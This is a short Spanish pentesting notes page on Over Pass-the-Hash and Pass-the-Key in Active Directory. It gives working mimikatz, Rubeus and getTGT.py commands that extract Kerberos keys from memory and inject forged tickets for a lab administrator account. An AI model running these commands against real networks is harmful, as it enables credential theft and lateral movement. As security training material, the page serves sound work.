> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/over-pass-the-hash-pass-the-key.md).
# Over Pass-the-Hash / Pass-the-Key
Kerberos admite varios tipos de clave, incluidos `RC4`, `AES128`, y `AES256`.
Con `mimikatz`, el siguiente comando abre una nueva sesión y también modifica el contexto de Kerberos en memoria.
```bash
./mimikatz.exe
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```
Una vez cargado este contexto, podemos solicitar un TGT con `Rubeus`.
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /rc4:a87f3a337d73085c45f9416be5787d86 /ptt
```
Este comando recupera el TGT de la cuenta y lo inyecta directamente en memoria.
Para ver las claves de Kerberos presentes en memoria para una cuenta, podemos usar `sekurlsa::ekeys`.
```bash
./mimikatz.exe
sekurlsa::ekeys
```
Luego recuperamos varias representaciones de la misma clave, por ejemplo en `RC4` y en `AES256`.
Luego podemos solicitar un TGT con la clave AES.
```bash
.\Rubeus.exe asktgt /domain:whoami.local /user:administrador /aes256:ed4d2f076e72933e67f5da9e4f4e5f21da0ba8d491a20b40b4aaa377dc81d5b5 /ptt
```
En Linux, la misma operación se puede hacer con `getTGT.py`.
```bash
getTGT.py whoami.local/administrador -hashes :a87f3a337d73085c45f9416be5787d86
```
---
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